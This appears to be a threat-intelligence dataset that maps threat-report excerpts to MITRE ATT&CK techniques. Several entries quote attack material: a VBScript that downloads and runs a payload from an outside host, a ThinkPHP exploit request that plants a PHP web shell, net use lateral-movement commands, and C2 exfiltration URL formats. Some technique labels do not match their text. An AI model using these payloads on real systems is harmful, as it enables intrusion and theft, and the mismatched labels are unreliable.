QCRI/TechniqueRAG-Datasets huggingface dataset:
Threat description: 
has used  to get information on processes.
MITRE ATT&CK techniques:
- T1057: Process Discovery
Threat description: 
has used a credential stealer known as ZUMKONG that can harvest usernames and passwords stored in browsers.
MITRE ATT&CK techniques:
- T1003: OS Credential Dumping
Threat description: 
Command Hash   Command Name   Description    0x0AA37987  loadconfig  Runs each command specified in the configuration file (see the Configuration section)
MITRE ATT&CK techniques:
- T1070.006: Indicator Removal - Timestomp
- T1016: System Network Configuration Discovery
Threat description: 
takes a screenshot of the screen and displays it on top of all other windows for few seconds in an apparent attempt to hide some messages showed by the system during the setup process.
MITRE ATT&CK techniques:
- T1113: Screen Capture
Threat description: 
performs XOR encryption.
MITRE ATT&CK techniques:
- T1573: Encrypted Channel
Threat description: 
uses Windows admin shares to establish authenticated sessions to remote systems over SMB as part of lateral movement.
MITRE ATT&CK techniques:
- T1021.002: Remote Services - SMB/Windows Admin Shares
Threat description: 
The  backdoor is a Web shell that supports server payloads for many different kinds of server-side scripting languages and contains functionality to access files, connect to a database, and open a virtual command prompt.
MITRE ATT&CK techniques:
- T1505.003: Server Software Component - Web Shell
Threat description: 
RATANKBA looking for specific IP ranges Our analysis of samples of the hack tool (HKTL_NBTSCAN.GA and HKTL_NBTSCAN.GB) indicate it as a command-line program that scans IP networks for NetBIOS information such as IP address, NetBIOS computer name, logged-in username, and MAC address—with some of the information coming from the initial RATAKNBA installation
MITRE ATT&CK techniques:
- T1016: System Network Configuration Discovery
Threat description: 
sent emails to victims with malicious Microsoft Office documents attached.
MITRE ATT&CK techniques:
- T1598.002: Phishing for Information - Spearphishing Attachment
Threat description: 
functions as a proxy server between the victim and C2 server.
MITRE ATT&CK techniques:
- T1090: Proxy
Threat description: 
creates a backdoor through which remote attackers can read data from files.
MITRE ATT&CK techniques:
- T1005: Data from Local System
Threat description: 
A module in  gathers logins and passwords stored in applications on the victims, including Google Chrome, Mozilla Firefox, and several other browsers.
MITRE ATT&CK techniques:
- T1552.001: Unsecured Credentials - Credentials In Files
Threat description: 
The C&C server then replies with the encrypted serialized configuration
MITRE ATT&CK techniques:
- T1027: Obfuscated Files or Information
Threat description: 
Can capture all screen (“AllScreen”) or the active window (“ActiveWindow”)   -ms Screenshot file name to save in Cache006 subdirectory, zipped with password from configuration
MITRE ATT&CK techniques:
- T1113: Screen Capture
Threat description: 
can collect system information.
MITRE ATT&CK techniques:
- T1082: System Information Discovery
Threat description: 
scans the victim for files that contain certain keywords from a list that is obtained from the C2 as a text file. It also collects information about installed software.
MITRE ATT&CK techniques:
- T1083: File and Directory Discovery
Threat description: 
may use net start to display running services.
MITRE ATT&CK techniques:
- T1007: System Service Discovery
Threat description: 
has functionality to copy itself to removable media.
MITRE ATT&CK techniques:
- T1091: Replication Through Removable Media
Threat description: 
added the registry value ntdll to the Registry Run key to establish persistence.
MITRE ATT&CK techniques:
- T1547.001: Boot or Logon Autostart Execution - Registry Run Keys / Startup Folder
Threat description: 
used batch scripts to enumerate administrators in the environment.
MITRE ATT&CK techniques:
- T1069: Permission Groups Discovery
Threat description: 
.iqy files are simple text files containing a URL which are opened by default by Excel
MITRE ATT&CK techniques:
- T1083: File and Directory Discovery
Threat description: 
scans to identify open ports on the victim.
MITRE ATT&CK techniques:
- T1046: Network Service Discovery
Threat description: 
The shellcode decodes and decompresses another DLL, which is an updated variant of UPPERCUT
MITRE ATT&CK techniques:
- T1140: Deobfuscate/Decode Files or Information
Threat description: 
Cadelle and Chafer are most active during the day time within Iran’s time zone and primarily operate during Iran’s business week (Saturday through Thursday)
MITRE ATT&CK techniques:
- T1124: System Time Discovery
Threat description: 
modified the Registry to perform multiple techniques through the use of .
MITRE ATT&CK techniques:
- T1112: Modify Registry
Threat description: 
creates a backdoor through which remote attackers can open a command line interface.
MITRE ATT&CK techniques:
- T1059: Command and Scripting Interpreter
Threat description: 
Otherwise, the Server will respond with a command followed by a set of parameters, split up by the delimiter <>:[command]<>[parameters for command in hexadecimal format] The available commands are: Command Description 1 Run command 2 Upload a file 3 Download a specified file   The parameters for each command are issued in hexadecimal format
MITRE ATT&CK techniques:
- T1070.006: Indicator Removal - Timestomp
- T1016: System Network Configuration Discovery
- T1059: Command and Scripting Interpreter
- T1105: Ingress Tool Transfer
Threat description: 
decodes the configuration data and modules.
MITRE ATT&CK techniques:
- T1140: Deobfuscate/Decode Files or Information
Threat description: 
can gather the victim computer name.
MITRE ATT&CK techniques:
- T1082: System Information Discovery
Threat description: 
If running with administrator privileges on a 32-bit host:  Copy the temporary DLL in %TEMP% to %WINDOWS%\LINKINFO.dll   Otherwise:  Copy the temporary DLL in %TEMP% to %APPDATA%\cnagnt.dll Delete the temporary DLL in %TEMP% Write a ‘Conime.lnk’ file in the user’s startup path
MITRE ATT&CK techniques:
- T1055: Process Injection
- T1574.001: Hijack Execution Flow - DLL Search Order Hijacking
- T1070.004: Indicator Removal - File Deletion
- T1574.002: Hijack Execution Flow - DLL Side-Loading
Threat description: 
This encoded information then gets an additional header added and sent across the network.
MITRE ATT&CK techniques:
- T1132: Data Encoding
Threat description: 
uses cmd.exe to execute netshcommands.
MITRE ATT&CK techniques:
- T1059: Command and Scripting Interpreter
Threat description: 
Access remote objects interactively from the pupy shell and get auto-completion of remote attributes
MITRE ATT&CK techniques:
- T1059: Command and Scripting Interpreter
Threat description: 
selective infector modifies executables stored on removable media as a method of spreading across computers.
MITRE ATT&CK techniques:
- T1091: Replication Through Removable Media
Threat description: 
collects system information, including the operating system version and hostname.
MITRE ATT&CK techniques:
- T1082: System Information Discovery
Threat description: 
Section 1 The first section of the PowerShell script is responsible for setting different key variables that are used by the remaining sections of the PowerShell script, especially the following variables:  TEMpPAtH = "C:\ProgramData\" (the path used for storing the temp files) Get_vAlIdIP = https://api.ipify.org/ (used to get the public IP address of the machine) FIlENAmePATHP = WindowsDefender.ini (file used to store Powershell code) PRIVAtE = Private Key exponents PUbLIc = Public Key exponents Hklm = "HKLM:\Software\" Hkcu = "HKCU:\Software\" ValuE = "kaspersky" SYSID DrAGon_MidDLe = [array of proxy URLs]  Among those variables, there is one variable of particular interest, DrAGon_MidDLe, which stores the list of proxy URLs (detailed at the end of the blog in the Network Indicators portion of the Indicators of Compromise section) that will be used to interact with the C2 server, as shown in Figure 12
MITRE ATT&CK techniques:
- T1546.013: Event Triggered Execution - PowerShell Profile
- T1059.001: Command and Scripting Interpreter - PowerShell
Threat description: 
The webshell will iterate through the IP list and perform a series of commands for each IP, starting off with using the following command to connect to the remote system: net use [IP address] /user:[domain admin username] [domain admin password] 2>&1 After connecting to the remote system with net use, the webshell will run the following command to obtain a list of user folders: dir /b [IP address]\c$\Users 2>&1 With a list of user folders, the webshell will iterate through the list of users and enumerate all of the files in the following folders: [IP address]\c$\Users\[username]\Desktop [IP address]\c$\Users\[username]\Documents [IP address]\c$\Users\[username]\Downloads The Network Downloader function will gather all the files in these folders and use 7-Zip to compress and archive the files
MITRE ATT&CK techniques:
- T1033: System Owner/User Discovery
- T1016: System Network Configuration Discovery
- T1087: Account Discovery
- T1204: User Execution
Threat description: 
has a feature to list the available services on the system.
MITRE ATT&CK techniques:
- T1007: System Service Discovery
Threat description: 
Query attempts to detect VirtualBox environment from the win32_BIOS WMI class.   Query attempts to detect Bochs environment from the win32_BIOS WMI class.   Query attempts to detect QEMU environment from the win32_BIOS WMI class.   Query attempts to detect VirtualBox environment from the win32_BIOS WMI class.   Query attempts to detect VMWare environment from the win32_BIOS WMI class.   Query attempts to detect Xen environment from the win32_BIOS WMI class.   Uses this query to check the system information for the string “VMware”
MITRE ATT&CK techniques:
- T1047: Windows Management Instrumentation
Threat description: 
This includes, but is not limited to, the following:  AES encryption of network communication File management Functionality to download, upload, and execute files Keylogging Remote desktop access Remote webcam viewing Reverse proxy Browser and FTP client password recovery  The images below are what a target user opening a malicious RTF document would see from within Microsoft Word
MITRE ATT&CK techniques:
- T1105: Ingress Tool Transfer
Threat description: 
installs itself as a service to maintain persistence.
MITRE ATT&CK techniques:
- T1543.003: Create or Modify System Process - Windows Service
Threat description: 
Specifically, we discovered code in the PowerShell script that was a match for code in Magic Unicorn containing the comment “one line shellcode injection with native x86 shellcode”
MITRE ATT&CK techniques:
- T1059: Command and Scripting Interpreter
- T1064: Scripting
Threat description: 
Injects ma32.dll into “wwahost.exe” or “audacity.exe”
MITRE ATT&CK techniques:
- T1055: Process Injection
Threat description: 
The majority of businesses still maintain Windows-heavy user environments where certain core infrastructure components also operate under Windows servers (e.g., Active Directory, SharePoint, etc.)
MITRE ATT&CK techniques:
- T1010: Application Window Discovery
Threat description: 
has used a VBScript named "ggldr" that uses Google Apps Script, Sheets, and Forms services for C2.
MITRE ATT&CK techniques:
- T1102: Web Service
Threat description: 
Trickbot uses this encrypted module to scan the network and steal relevant network information.
MITRE ATT&CK techniques:
- T1016: System Network Configuration Discovery
Threat description: 
Responses from the  C2 server are base32-encoded.
MITRE ATT&CK techniques:
- T1132: Data Encoding
Threat description: 
installs itself in %ALLUSERPROFILE%\\Application Data\Microsoft\MediaPlayer\updatewindws.exe; the directory name is missing a space and the file name is missing the letter "o."
MITRE ATT&CK techniques:
- T1036: Masquerading
Threat description: 
has sent spearphishing emails links and attachments attempting to get a user to click.
MITRE ATT&CK techniques:
- T1204: User Execution
Threat description: 
uses various XOR techniques to obfuscate its components.
MITRE ATT&CK techniques:
- T1027: Obfuscated Files or Information
Threat description: 
Some  variants add new services with display names generated by a list of hard-coded strings such as Application, Background, Security, and Windows, presumably as a way to masquerade as a legitimate service.
MITRE ATT&CK techniques:
- T1036: Masquerading
Threat description: 
It should be noted that in most of these cases the backdoor was embedded as a packed payload in another executable or in a weaponized document file of some kind
MITRE ATT&CK techniques:
- T1027.002: Obfuscated Files or Information - Software Packing
Threat description: 
Code snippet of the obfuscated document After deobfuscation, we can see that the payload is written in the Perl programming language
MITRE ATT&CK techniques:
- T1027: Obfuscated Files or Information
Threat description: 
monitors victims for insertion of removable drives. When dropped onto a second victim, it also enumerates drives connected to the system.
MITRE ATT&CK techniques:
- T1120: Peripheral Device Discovery
Threat description: 
lists the current processes running.
MITRE ATT&CK techniques:
- T1057: Process Discovery
Threat description: 
A  variant uses a custom packer.
MITRE ATT&CK techniques:
- T1027.002: Obfuscated Files or Information - Software Packing
Threat description: 
It is used to create new processes, perform as a command line shell, and several other tasks
MITRE ATT&CK techniques:
- T1059: Command and Scripting Interpreter
Threat description: 
The information contained in this data dump include:  Stolen credentials Potential systems to login to using stolen credentials Deployed webshell URLs Backdoor tools Command and control server component of backdoor tools Scripts to perform DNS hijacking Documents identifying specific individual operators Screenshots of OilRig operational systems  The Leak In mid-March 2019, an unknown entity appeared on several hacking forums and Twitter with the user handle @Mr_L4nnist3r claiming they had access to data dumps involving internal tools and data used by the OilRig group
MITRE ATT&CK techniques:
- T1003: OS Credential Dumping
Threat description: 
searches for interesting files (either a default or customized set of file extensions) on the local system.  will scan the My Recent Documents, Desktop, Temporary Internet Files, and TEMP directories.  also collects information stored in the Windows Address Book.
MITRE ATT&CK techniques:
- T1005: Data from Local System
Threat description: 
generates a false TLS handshake using a public certificate to disguise C2 network communications.
MITRE ATT&CK techniques:
- T1001: Data Obfuscation
Threat description: 
adds itself to the startup folder or adds itself to the Registry key SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run for persistence.
MITRE ATT&CK techniques:
- T1547.001: Boot or Logon Autostart Execution - Registry Run Keys / Startup Folder
Threat description: 
malware is capable of keylogging.
MITRE ATT&CK techniques:
- T1056: Input Capture
Threat description: 
Bankshot implants are distributed from a domain with a name similar to that of the cryptocurrency-lending platform Falcon Coin, but the similarly named domain is not associated with the legitimate entity
MITRE ATT&CK techniques:
- T1036: Masquerading
Threat description: 
The C2 server can also send a PowerShell command to capture and store a screenshot of a victim’s system
MITRE ATT&CK techniques:
- T1113: Screen Capture
Threat description: 
Server Command and control server that communicates via DNS tunneling   Panel Graphical User Interface that allows actors to issue commands, upload and download files to Agents via the Server    Table 2
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
Threat description: 
Figures 8 and 9: LiteHTTP screenshots taken from the user`s profile in which the acronym “Knock” appears Conclusion SpeakUp`s obfuscated payloads and propagation technique is beyond any doubt the work of a bigger threat in the making
MITRE ATT&CK techniques:
- T1113: Screen Capture
- T1027: Obfuscated Files or Information
Threat description: 
Once connectivity to the service provider IP was verified, the actor established the service provider IP as a proxy for the victim’s SOGU backdoor
MITRE ATT&CK techniques:
- T1543.003: Create or Modify System Process - Windows Service
- T1016: System Network Configuration Discovery
- T1090: Proxy
Threat description: 
For instance, the downloader will first attempt to communicate with its C2 server using an HTTPS request
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
Threat description: 
is loaded and executed by a highly obfuscated launcher.
MITRE ATT&CK techniques:
- T1027: Obfuscated Files or Information
Threat description: 
has exploited multiple Microsoft Office and .NET vulnerabilities for execution, including CVE-2017-0199, CVE-2017-8759, and CVE-2017-11882.
MITRE ATT&CK techniques:
- T1203: Exploitation for Client Execution
Threat description: 
The Trojan will then read the hexadecimal formatted contents of this file in 1500 byte blocks, sending each 1500 bytes of data from the file to the C2 server via an HTTP GET request to a URL with the following structure:http://<c2 domain>/resp?<hex(Environment.UserName/Environment.MachineName)>AAZ<hex(command prompt output)> The upload command (2) writes data provided by the C2 to a specified file
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
Threat description: 
One variant of  locates existing driver services that have been disabled and drops its driver component into one of those service's paths, replacing the legitimate executable. The malware then sets the hijacked service to start automatically to establish persistence.
MITRE ATT&CK techniques:
- T1574.010: Hijack Execution Flow - Services File Permissions Weakness
Threat description: 
can be used to gather information on user accounts within a domain.
MITRE ATT&CK techniques:
- T1087: Account Discovery
Threat description: 
These strings have the following format:uuid=[Victim ID]#un=[Username]#cn=[Hostname]#on=[OS Version]#lan=[IP Address]#nop=#ver=1.0uuid=[Victim ID]#un=[Username]#An example of the first string may be seen below:uuid=e29ac6c0-7037-11de-816d-806e6f6e696351c5#un=Josh Grunzweig#cn=WIN-LJLV2NKIOKP#on=mav6miv1#lan=192.168.217.141#nop=#ver=1.0It should be noted that the variables used for this string are different from previous versions
MITRE ATT&CK techniques:
- T1033: System Owner/User Discovery
Threat description: 
The shellcode of the embedded object is designed to download an image, which is, in fact, a new shellcode used to decode an embedded executable
MITRE ATT&CK techniques:
- T1105: Ingress Tool Transfer
Threat description: 
drops a malicious file (sspisrv.dll) alongside a copy of lsass.exe, which is used to register a service that loads sspisrv.dll as a driver. The payload of the malicious driver (located in its entry-point function) is executed when loaded by lsass.exe before the spoofed service becomes unstable and crashes.
MITRE ATT&CK techniques:
- T1547.008: Boot or Logon Autostart Execution - LSASS Driver
Threat description: 
encodes C2 traffic with single-byte XOR keys.
MITRE ATT&CK techniques:
- T1573: Encrypted Channel
Threat description: 
can perform port scans from an infected host.
MITRE ATT&CK techniques:
- T1046: Network Service Discovery
Threat description: 
has sent spearphishing emails with attachments to victims as its primary initial access vector.
MITRE ATT&CK techniques:
- T1598.002: Phishing for Information - Spearphishing Attachment
Threat description: 
POST /api/osx/started HTTP/1.1Host: r2elajikcosf7zee.onion.toAccept: */*Content-Length: 233Content-Type: application/x-www-form-urlencodedbot_id=9a8965ba04e72909f36c8d16aa801794c6d905d045c2b704e8f0a9bbb97d3eb8&amp;data=psX0DKYB0u...5TximyY%2BQY%3D     Figure 10: Malware sending initial information       &gt; rc4decrypt(base64decode("psX0DKYB0u...5TximyY+QY="), "u2RLhh+!LGd9p8!ZtuKcN")device_model=MacBookPro9,2bot_version=1.3.5build_name=elitef*ckos_version=15.5.0ip_address=4.5.6.7has_root=0     Figure 11: Decoded data sent to C&C The bot_id is constructed by hashing the following values with SHA-256:  The hardware UUID (IOPlatformUUID) The system serial number (IOPlatformSerialNumber) The model identifier of the Mac (e.g.: MacBookPro9,2)  Most actions are self-explanatory
MITRE ATT&CK techniques:
- T1082: System Information Discovery
Threat description: 
OSinfo: OSInfo is a general purpose, system information gathering tool
MITRE ATT&CK techniques:
- T1082: System Information Discovery
Threat description: 
can download files and upgrade itself.
MITRE ATT&CK techniques:
- T1105: Ingress Tool Transfer
Threat description: 
variants have been seen that use Registry persistence to proxy execution through regsvr32.exe.
MITRE ATT&CK techniques:
- T1218.010: System Binary Proxy Execution - Regsvr32
Threat description: 
establishes persistence by creating a shortcut in the Start Menu folder.
MITRE ATT&CK techniques:
- T1547.001: Boot or Logon Autostart Execution - Registry Run Keys / Startup Folder
Threat description: 
The webpage contained both CVE-2014-6332 exploit code and a VBScript that invoked PowerShell on the affected users’ system to download the below payload:     function runmumaa()     On Error Resume Next     set shell=createobject("Shell.Application")     shell.ShellExecute "powershell.exe","-NoLogo -NoProfile                 -NonInteractive -WindowStyle Hidden ( New-Object                         “System.Net.WebClient”).DownloadFile(“http://www.playboysplus.com        /install/install.exe”,”install.exe”);Invoke-Item install.exe", "",         "open", 1     end function The CVE-2014-6332 exploit code seen in this incident is derived from the code published at http://www.exploit-db.com/exploits/35230/, which has also been incorporated in the Metasploit project
MITRE ATT&CK techniques:
- T1055.012: Process Injection - Process Hollowing
- T1036: Masquerading
- T1068: Exploitation for Privilege Escalation
Threat description: 
has used scheduled task raw XML with a backdated timestamp of June 2, 2016.
MITRE ATT&CK techniques:
- T1070.006: Indicator Removal - Timestomp
Threat description: 
By running SSH on the server in a compromised network, attackers can come back to the network whenever they want
MITRE ATT&CK techniques:
- T1016: System Network Configuration Discovery
Threat description: 
It then sends the following IRC commands: NICK bxphzrjbxp USER bxphzrjbxp bxphzrjbxp bxphzrjbxp bxphzrjbxp To make sure it connected to the correct server, the Trojan checks for the message sent from the IRC server after the bot connects: Welcome to the MpkNet IRC Network The MPK bot does not join a specific IRC channel, instead sending private messages (PRIVMSG) to a user with the nick “mpk”
MITRE ATT&CK techniques:
- T1132: Data Encoding
Threat description: 
has used Registry keys to detect and avoid executing in potential sandboxes.
MITRE ATT&CK techniques:
- T1518.001: Software Discovery - Security Software Discovery
Threat description: 
developed a file stealer to search C:\ and collect files with certain extensions.  also executed a script to enumerate all drives, store them as a list, and upload generated files to the C2 server.
MITRE ATT&CK techniques:
- T1119: Automated Collection
Threat description: 
drops files with base64-encoded data.
MITRE ATT&CK techniques:
- T1027: Obfuscated Files or Information
Threat description: 
launches a DLL file that gets executed as a service using svchost.exe
MITRE ATT&CK techniques:
- T1569.002: System Services - Service Execution
Threat description: 
The specific sandbox checks include:  Using WMI to check BIOS version (SMBIOSBIOSVERSION) for VBOX, bochs, qemu, virtualbox and vm
MITRE ATT&CK techniques:
- T1497.001: Virtualization/Sandbox Evasion - System Checks
- T1497: Virtualization/Sandbox Evasion
Threat description: 
has used local servers with both local network and Internet access to act as internal proxy nodes to exfiltrate data from other parts of the network without direct Internet access.
MITRE ATT&CK techniques:
- T1090: Proxy
Threat description: 
downloads additional plug-ins to load on the victim’s machine, including the ability to upgrade and replace its own binary.
MITRE ATT&CK techniques:
- T1105: Ingress Tool Transfer
Threat description: 
Command Description   !Dir Lists the contents of a specified directory   !Drives Enumerates the storage drives attached to the system and their respective type
MITRE ATT&CK techniques:
- T1083: File and Directory Discovery
Threat description: 
has the capability to download files to execute on the victim’s machine.
MITRE ATT&CK techniques:
- T1105: Ingress Tool Transfer
Threat description: 
Hunter queried the following URIs in a specific order to determine if the associated software configurations are insecure, and all queries contained the HttpClient User-Agent:  GET /manager/html/ — Tomcat web application manager GET /jmx-console/ — JBoss configuration GET /CFIDE/administrator/login.cfm — ColdFusion configuration  Installation TG-3390 uses DLL side loading, a technique that involves running a legitimate, typically digitally signed, program that loads a malicious DLL
MITRE ATT&CK techniques:
- T1574.002: Hijack Execution Flow - DLL Side-Loading
Threat description: 
uses WMI to perform process monitoring.
MITRE ATT&CK techniques:
- T1047: Windows Management Instrumentation
Threat description: 
Hijack Clipboard Bitcoin Address Zyklon has the ability to hijack the clipboard, and replaces the user’s copied bitcoin address with an address served up by the actor’s control server
MITRE ATT&CK techniques:
- T1115: Clipboard Data
- T1016: System Network Configuration Discovery
Threat description: 
The payload then calls the VirtualAllocEx API to create a buffer in the newly hollowed process and the WriteProcessMemory API to write the supplied data buffer that contains the code to inject to this newly created buffer
MITRE ATT&CK techniques:
- T1106: Native API
Threat description: 
Can be packed into a single .py file and run without any dependencies other than the python standard library on all OSes
MITRE ATT&CK techniques:
- T1027.002: Obfuscated Files or Information - Software Packing
Threat description: 
encodes C2 communications with base64.
MITRE ATT&CK techniques:
- T1001: Data Obfuscation
Threat description: 
can be used to display adapter configuration on Windows systems, including information for TCP/IP, DNS, and DHCP.
MITRE ATT&CK techniques:
- T1016: System Network Configuration Discovery
Threat description: 
uses rundll32 to load various tools on victims, including a lateral movement tool named Vminst, Cobalt Strike, and shellcode.
MITRE ATT&CK techniques:
- T1218.011: System Binary Proxy Execution - Rundll32
Threat description: 
An interesting note on these payloads is that all the Delphi payloads delivered in this campaign were packed with UPX, while none of the other payloads were packed
MITRE ATT&CK techniques:
- T1027.002: Obfuscated Files or Information - Software Packing
Threat description: 
may use netstat -ano to display active network connections.
MITRE ATT&CK techniques:
- T1049: System Network Connections Discovery
Threat description: 
has used PowerShell Empire.
MITRE ATT&CK techniques:
- T1059.001: Command and Scripting Interpreter - PowerShell
Threat description: 
can install as a Windows service for persistence.
MITRE ATT&CK techniques:
- T1543.003: Create or Modify System Process - Windows Service
Threat description: 
identified and extracted all Word documents on a server by using a command containing * .doc and *.docx. The actors also searched for documents based on a specific date range and attempted to identify all installed software on a victim.
MITRE ATT&CK techniques:
- T1083: File and Directory Discovery
Threat description: 
has a tool that can delete files.
MITRE ATT&CK techniques:
- T1070.004: Indicator Removal - File Deletion
Threat description: 
Decrypted OwaAuth log file format
MITRE ATT&CK techniques:
- T1140: Deobfuscate/Decode Files or Information
Threat description: 
LANS Deletes the file created by the LAN command to reverse the effect
MITRE ATT&CK techniques:
- T1070.004: Indicator Removal - File Deletion
Threat description: 
identifies files with certain extensions from USB devices, then copies them to a predefined directory.
MITRE ATT&CK techniques:
- T1083: File and Directory Discovery
Threat description: 
has used remote code execution to download subsequent payloads.
MITRE ATT&CK techniques:
- T1105: Ingress Tool Transfer
Threat description: 
has the capability to execute the command net localgroup administrators.
MITRE ATT&CK techniques:
- T1069: Permission Groups Discovery
Threat description: 
achieves persistence by using various Registry Run keys.
MITRE ATT&CK techniques:
- T1547.001: Boot or Logon Autostart Execution - Registry Run Keys / Startup Folder
Threat description: 
They utilised Windows commands in order to enumerate and conduct reconnaissance activities such as tasklist.exe, ping.exe, netstat.exe, net.exe, systeminfo.exe, ipconfig.exe and bcp.exe
MITRE ATT&CK techniques:
- T1055.012: Process Injection - Process Hollowing
- T1036: Masquerading
Threat description: 
Figure 2: Zyklon attack flow Infection Techniques CVE-2017-8759 This vulnerability was discovered by FireEye in September 2017, and it is a vulnerability we have observed being exploited in the wild
MITRE ATT&CK techniques:
- T1203: Exploitation for Client Execution
Threat description: 
communicates over port 80 for C2.
MITRE ATT&CK techniques:
- T1043: Commonly Used Port
Threat description: 
has created password-protected RAR, WinImage, and zip archives to be exfiltrated.
MITRE ATT&CK techniques:
- T1560: Archive Collected Data
- T1486: Data Encrypted for Impact
Threat description: 
Instead of using systeminfo and tasklist commands, the C# variant of Zebrocy uses WMI queries to gather this information
MITRE ATT&CK techniques:
- T1047: Windows Management Instrumentation
Threat description: 
^testmode Runs the test function to determine which DNS query types can successfully communicate with the C2   ^showconfig Creates a pipe delimited (“|”) string that contains the sample’s settings, including the list of C2 domains and available DNS query types
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
- T1008: Fallback Channels
Threat description: 
The exploitation is issued in three steps:  Exploiting CVE-2018-20062 for uploading a PHP shell  Using a GET request, a remote command execution vulnerability in ThinkPHP (CVE-2018-20062) is sent to the targeted server, as shown below: s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<? php $action = $_GET[‘module’];system($action);? ^>>index.php This shell executes commands sent via the “module” parameter in a query
MITRE ATT&CK techniques:
- T1059: Command and Scripting Interpreter
- T1203: Exploitation for Client Execution
Threat description: 
adds a sub-key under several Registry run keys.
MITRE ATT&CK techniques:
- T1547.001: Boot or Logon Autostart Execution - Registry Run Keys / Startup Folder
Threat description: 
The 2.0 versions require a dropper to decipher and launch the AES encrypted QUASARRAT payload
MITRE ATT&CK techniques:
- T1027: Obfuscated Files or Information
Threat description: 
uses two utilities, GETMAIL and MAPIGET, to steal email. GETMAIL extracts emails from archived Outlook .pst files, and MAPIGET steals email still on Exchange servers that has not yet been archived.
MITRE ATT&CK techniques:
- T1114: Email Collection
Threat description: 
uses HTTP over port 443 for command and control.
MITRE ATT&CK techniques:
- T1043: Commonly Used Port
Threat description: 
Figure 4: Execution Workflow Section of v.vbs After successful execution of the steps mentioned in the Execution Workflow section, the Task Scheduler will launch GoogleUpdateschecker.vbs every minute, which in turn executes the dUpdateCheckers.ps1 and hUpdateCheckers.ps1 scripts
MITRE ATT&CK techniques:
- T1053.005: Scheduled Task/Job - Scheduled Task
- T1106: Native API
- T1064: Scripting
Threat description: 
Palo Alto Networks customers are protected from this OilRig attack campaign and OopsIE by:  AutoFocus customers can track this Trojan with the OopsIE tag All known OopsIE samples are marked with malicious verdicts in WildFire All known OopsIE C2 domains have DNS signatures and are classified as Command and Control    Indicators of Compromise OopsIE Trojan 36e66597a3ff808acf9b3ed9bc93a33a027678b1e262707682a2fd1de7731e23 055b7607848777634b2b17a5c51da7949829ff88084c3cb30bcb3e58aae5d8e9 6b240178eedba4ebc9f1c8b56bac02676ce896e609577f4fb64fa977d67c0761 9e8ec04e534db1e714159cc68891be454c2459f179ab1df27d7f89d2b6793b17  OopsIE C2 defender-update[.]com windowspatch[.]com The post OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE appeared first on Palo Alto Networks Blog
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
- T1008: Fallback Channels
Threat description: 
uses a custom command and control protocol that is encapsulated in HTTP, HTTPS, or DNS. In addition, it conducts peer-to-peer communication over Windows named pipes encapsulated in the SMB protocol. All protocols use their standard assigned ports.
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
Threat description: 
The full obfuscated command inside the .lnk file
MITRE ATT&CK techniques:
- T1547.009: Boot or Logon Autostart Execution - Shortcut Modification
- T1027: Obfuscated Files or Information
Threat description: 
can use WMI to deliver a payload to a remote host.
MITRE ATT&CK techniques:
- T1047: Windows Management Instrumentation
Threat description: 
HKCU\Software\Microsoft\Office test\Special\Perf
MITRE ATT&CK techniques:
- T1137: Office Application Startup
Threat description: 
is capable of enumerating Registry keys and values.
MITRE ATT&CK techniques:
- T1012: Query Registry
Threat description: 
can perform credential dumping.
MITRE ATT&CK techniques:
- T1003: OS Credential Dumping
Threat description: 
has cleared event logs from victims.
MITRE ATT&CK techniques:
- T1070: Indicator Removal
Threat description: 
is known to use PowerShell.
MITRE ATT&CK techniques:
- T1059.001: Command and Scripting Interpreter - PowerShell
Threat description: 
On the next step this file is executed by rundll32.exe via the KlpSvc export
MITRE ATT&CK techniques:
- T1218.011: System Binary Proxy Execution - Rundll32
Threat description: 
can capture screenshots of the desktop over multiple monitors.
MITRE ATT&CK techniques:
- T1113: Screen Capture
Threat description: 
Tools used by  are capable of downloading and executing additional payloads.
MITRE ATT&CK techniques:
- T1105: Ingress Tool Transfer
Threat description: 
packed an executable by base64 encoding the PE file and breaking it up into numerous lines.
MITRE ATT&CK techniques:
- T1027.002: Obfuscated Files or Information - Software Packing
Threat description: 
One persistence mechanism used by  is to set itself to be executed at system startup by adding a Registry value under one of the following Registry keys: <br>HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ <br>HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ <br>HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run <br>HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
MITRE ATT&CK techniques:
- T1547.001: Boot or Logon Autostart Execution - Registry Run Keys / Startup Folder
Threat description: 
has sent spearphising emails with malicious attachments to potential victims using compromised and/or spoofed email accounts.
MITRE ATT&CK techniques:
- T1598.002: Phishing for Information - Spearphishing Attachment
Threat description: 
- There were two interesting sub-classes found inside Main Activity: Receiver and Sender
MITRE ATT&CK techniques:
- T1562.001: Impair Defenses - Disable or Modify Tools
Threat description: 
It appears the same actor developed both the Komplex and XAgentOSX tools, based on similarities within the following project paths found within the tools: Komplex: /Users/kazak/Desktop/Project/komplex XAgent OSX: /Users/kazak/Desktop/Project/XAgentOSX We believe it is possible that Sofacy uses Komplex to download and install the XAgentOSX tool to use its expanded command set on the compromised system
MITRE ATT&CK techniques:
- T1087: Account Discovery
Threat description: 
exfiltrates data collected from the victim mobile device.
MITRE ATT&CK techniques:
- T1005: Data from Local System
Threat description: 
can decrypt, unpack and load a DLL from its resources.
MITRE ATT&CK techniques:
- T1140: Deobfuscate/Decode Files or Information
Threat description: 
They consist mainly of persistence mechanisms and simple instructions despite their different forms (VBS scripts, PowerShell scripts, known software with open source code that can be backdoored, and in-house built dotnet apps)
MITRE ATT&CK techniques:
- T1064: Scripting
- T1547.001: Boot or Logon Autostart Execution - Registry Run Keys / Startup Folder
Threat description: 
A version of  introduced in July 2015 obfuscated the binary using opaque predicates and other techniques in a likely attempt to obfuscate it and bypass security products.
MITRE ATT&CK techniques:
- T1027: Obfuscated Files or Information
Threat description: 
The Trojan will respond to the C2 to notify it of a successful upload by sending a URL structured as follows:http://<c2 domain>/resp?<hex(Environment.UserName/Environment.MachineName)>AAZ<hex(“File Uploaded”)> The download command (3) reads the contents of a specified file and sends the data to the C2 server
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
